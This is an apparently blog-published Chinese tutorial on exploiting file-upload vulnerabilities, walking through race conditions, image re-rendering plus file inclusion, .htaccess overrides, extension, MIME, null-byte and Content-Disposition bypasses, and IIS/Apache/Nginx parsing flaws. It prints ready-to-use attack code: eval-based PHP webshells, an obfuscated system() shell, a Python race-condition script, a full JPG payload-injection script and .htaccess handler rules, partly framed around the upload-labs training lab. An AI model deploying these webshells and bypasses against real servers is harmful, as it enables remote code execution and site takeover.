文件上传漏洞利用与绕过姿势总结

文章目录

攻击与绕过方式

一、条件竞争

攻击原理 :在上传文件的同时利用代码逻辑中的时序问题(如 unlink() 删除操作)触发条件竞争,从而实现上传恶意文件并绕过限制。

示例测试源码:

以下为测试文件上传功能的 PHP 源码:

php 复制代码
<html>
<body>
<form action="" method="post"
      enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file"/>
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
<?php
if (!empty($_FILES)) {
    move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']);
    unlink($_FILES['file']['name']);
    echo "upload fail";
}
?>

木马文件内容:

新建一个php木马名为jignzheng.php,内容如下:

php 复制代码
<?php fputs(fopen('jz.php','w'),'<?php @eval($_REQUEST[1])?>'); ?>

这个马的作用是创建一个名为jz.php的文件,并将一句话木马写入。

攻击脚本:

编写以下 Python 脚本,通过条件竞争的方式,不断访问目标的 jingzhing.php 文件,以触发条件竞争,当用户通过http请求访问.php文件时,web服务器会将该文件传给php解析器解析并执行文件中的代码,将jz.php一句话木马写入到目标目录中:

python 复制代码
import requests
url="http://192.168.1.11/jingzheng/jingzheng.php"
check_file="http://192.168.1.11/jingzheng/jz.php"
while True:
    response = requests.get(url)
    check_response=requests.get(check_file)
    if check_response.status_code==200:
        print("success")

使用流程:

先运行python脚本,然后再上传zhengjign.php木马利用Bp中的intruder模块进行条件竞争。之后可以看到同目录下会不断地短暂出现上传的木马jingzheng.php,并且jz.php成功写入。


二、二次渲染结合文件包含绕过

**攻击原理:**利用图片格式的二次渲染漏洞配合文件包含漏洞解析 PHP 木马代码

1、gif
复制代码
渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可
2、png
复制代码
PNG需要将数据写入到 PLTE 数据块 或者 IDAT 数据块
3、jpg
复制代码
JPG 需要使用脚本将数据插入到特定的数据块,而且可能会不成功,所以需要多次尝试 

脚本如下:

php 复制代码
<?php

$miniPayload = "\<?php eval(\$_REQUEST[1]);?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}
if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;

    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }

    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0",$nullbytePayloadSize).
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                    substr($outStream, $stopPos);
            } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream {
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek() {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>

将脚本保存为jpg_payload.php,使用命令:php jpg_payload.php jpg_name.jpg

二次渲染木马使用方法:

配合文件包含,利用文件包含漏洞解析图片马中的php代码,获取webshell

以upload-labs第17关为例,随便上传一个二次渲染的图片,然后利用include.php中的文件包含漏洞。

使用蚁剑进行连接即可:

复制代码
http://192.168.1.11/upload-labs-master/include.php?file=upload/27740.gif

三、.htaccess解析绕过

攻击原理: .htaccess 是 Apache HTTP 服务器的配置文件,作用范围通常是其所在目录及子目录。它可以用来控制访问权限、重定向规则、URL 重写、MIME 类型设置等。

攻击者可以通过上传 .htaccess 文件,修改服务器的默认行为,来绕过限制、执行恶意代码或访问敏感资源。

将特定后缀文件解析成php,这里将.jpg后缀文件强制解析成php脚本

.htaccess 复制代码
AddType application/x-httpd-php .jpg 

.htaccess 复制代码
<FilesMatch "jpg">

  SetHandler application/x-httpd-php

</FilesMatch>

将所有文件解析为 PHP

.htaccess 复制代码
ForceType application/x-httpd-php

然后再上传一个jpg后缀的木马就可以了,蚁剑连接时候也是使用jpg结尾的文件


四、文件后缀名绕过

1、文件特殊后缀名+大小写绕过
语言 默认可解析后缀 绕过方法(盲猜可解析后缀)
php .php .html .htm 【apache】 php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
asp.net 【IIS】 asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
jsp *.jsp *.jspx 【tomcat】 jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml
2、::$DATA绕过

::$DATA是NTFS流类型的一种

在windwos系统中,如果上传文件名为xxx.php::$DATA,会在服务器上生成一个xxx.php文件,其内容与上传的文件内容相同,并且会被解析。

示例:

利用Bp抓包截断http请求之后,在文件后缀名处添加::$DATA即可

3、双后缀名绕过

漏洞背景:文件上传的源代码过滤部分,会将文件名称中的敏感字符进行清除,但只做了一次过滤

示例:

利用Bp抓包截断http请求之后,a.php==>a.pphphp

4、点绕过

windows系统下,文件后缀名最后一个点会被自动去除

linux系统下,文化后缀名最后一个点不会被自动去除

所以在windows系统下利用bp截断http请求,在上传文件后缀后加.绕过上传

例如: demo.php.

5、空格绕过

windows系统下,对于文件名【demo.php(空格)】会被当作空处理,检测代码不能自动删除空格,从而绕过黑名单。文件上传后,会自动删除空格,从而绕过


五、文件头绕过

**攻击原理:**在浏览器上传文件到服务器时白名单会对文件头进行检测,在上传的木马内容前面加上特定的文件头即可绕过前端验证

常用的图片文件头:

复制代码
jpg		FFD8FFE000104A464946 ÿØÿà..JFIF
png		89504E470D0A1A0A     %PNG....
gif		474946383961		GIF89a

一般使用gif


六、短标签绕过

**攻击原理:**利用 PHP 短标签(<?<?=)执行代码,需服务器支持短标签配置

php 复制代码
<script language="php">@eval($_REQUEST['1']);</script>
php 复制代码
<? @eval($_REQUEST['1']); ?>
php 复制代码
<% echo "Hello, World!"; %>    //需要在php.ini中开启asp_tags选项

七、MIME(Content-Type)绕过

**攻击原理:**HTTP协议规定上传资源时,需要在headers中加上MIMETYPE(Content-Type)来识别文件类型,通过修改该字段内容绕过检测

Content-Type: application/octet-stream修改为Content-Type: image/jepg即可,如果限制其他文件类型,修改成对应的Mime类型即可

文件后缀 Mime类型 说明
.gif 或.png image/gif(image/png) GIF图形/PNG图片
.jpeg或.jpg image/jpeg JPEG图形
.txt text/plain 普通文本
.exe application/octet-stream 下载文件类型

八、00截断

**攻击原理:**无论是0x00还是%00最终都会被解析成chr(0) 而0对于的字符是NULL,即空字符。当一个字符串中存在空字符时,空字符后面的字符会被丢弃(即终止读取)。

例如:文件1.php.jpg插入空字符变成1.php0x00.jpg,解析之后只剩1.php

使用:

1、在上传文件后缀名的地方使用%00绕过前端验证:1.php==>1.php%00.jpg

2、在文件路径处使用%00绕过后端验证:uploads/==>uploads/xxx.php%00


九、垃圾字符绕过

**攻击原理:**在上传的数据中添加大量无用字符进行绕过检测逻辑

或者在参数中添加大量无用字符进行参数污染绕过


十、中间件解析漏洞

1、IIS解析漏洞

php 复制代码
在IIS6版本中,当攻击者访问http://www.test.com/bitsec.php/xxx.jpg这样的url时,服务器会默认将PHP目录下的文件解析为php文件。因此虽然文件后缀为jpg,但依然会被作为PHP执行。
在IIS5和IIS6版本中,当攻击者访问http://www.test.com/bitsec.php;.jpg这样的url时,服务器会默认不解析";"后面的内容,因此bitsec.php;.jpg就被作为bitsec.php解析执行。

2、Apache解析漏洞

php 复制代码
1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。

3、Nginx解析漏洞

在Nginx 0.8.41到1.5.6的版本中,攻击者可以利用多种方式解析文件。攻击者正常访问http://www.test.com/image/bitsec.jpg时,会正常显示图片。但是当攻击者通过下面的方式进行访问时,就被解析为PHP文件。

php 复制代码
http://www.test.com/image/bitsec.jpg/bitsec.php (目录解析)
http://www.test.com/image/bitsec.jpg%00.php     (截断解析)
http://www.test.com/image/bitsec.jpg%20\0.php   (截断解析)

十一、构造绕过

php 复制代码
??_x0010_JFIF

<?=$a='sys';$b='tem';$funcName=$a.$b;$x='funcName';$$x($_REQUEST[1]);?>

十二、Content-Disposition绕过

**攻击原理:**Content-Disposition是HTTP协议中的一个头部字段,用来描述内容是直接展示还是以附件的形式下载,通过修改该字段影响服务器对文件的解析。

格式:

php 复制代码
Content-Disposition: disposition-type; parameter1=value1; parameter2=value2
php 复制代码
Content-Disposition: form-data; name="uploaded"; filename="muma.php"

绕过思路:

  • form-data改为~form-data
php 复制代码
Content-Disposition: ~form-data; name="uploaded"; filename="muma.php"
  • 替换大小写
php 复制代码
Content-Disposition: form-data; name="uploaded"; filename="muma.php"
Content-Type: application/octet-stream
将Content-Disposition、form-data、Content-Type中的字母进行大小写替换
  • 增减空格
php 复制代码
Content-Disposition: form-data; name="uploaded"; filename="muma.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data          冒号后面 增加或减少一个空格
将form-data; name="file";                分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream   冒号后面 增加一个空格
将Content-Disposition修改为 Content- Disposition  -后面加空格
  • 字符串拼接
php 复制代码
Content-Disposition: form-data; name="uploaded"; filename="muma.php"
将 form-data 修改为  f+orm-d+ata
  • 利用HTTP headers属性名绕过
php 复制代码
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".
  • 利用HTTP headers属性值绕过
php 复制代码
Content-Disposition: form-data; name="uploaded"; filename="muma.php"
将form-data 替换为 * 来绕过
Content-Disposition: *; name="uploaded"; filename="muma.php"
  • 等效替换
php 复制代码
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
在boundary后面加入空格即可
  • 增减回车
php 复制代码
原内容:
Content-Disposition: form-data; name="up_picture"; filename="muma.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="muma.php"
相关推荐
此生只爱蛋17 分钟前
【Linux】正/反向代理
linux·运维·服务器
qq_54702617924 分钟前
Linux 基础
linux·运维·arm开发
zfj32130 分钟前
sshd除了远程shell外还有哪些功能
linux·ssh·sftp·shell
我只会发热39 分钟前
Ubuntu 20.04.6 根目录扩容(图文详解)
linux·运维·ubuntu
爱潜水的小L1 小时前
自学嵌入式day34,ipc进程间通信
linux·运维·服务器
保持低旋律节奏1 小时前
linux——进程状态
android·linux·php
齐鲁大虾1 小时前
Windows 操作系统中 SQL Server 的版本要求
windows
zhuzewennamoamtf1 小时前
Linux I2C设备驱动
linux·运维·服务器
不惑_1 小时前
Windows 安装 Docker 和 Docker Compose 完整教程
windows·docker·容器
zhixingheyi_tian1 小时前
Linux 之 memory 碎片
linux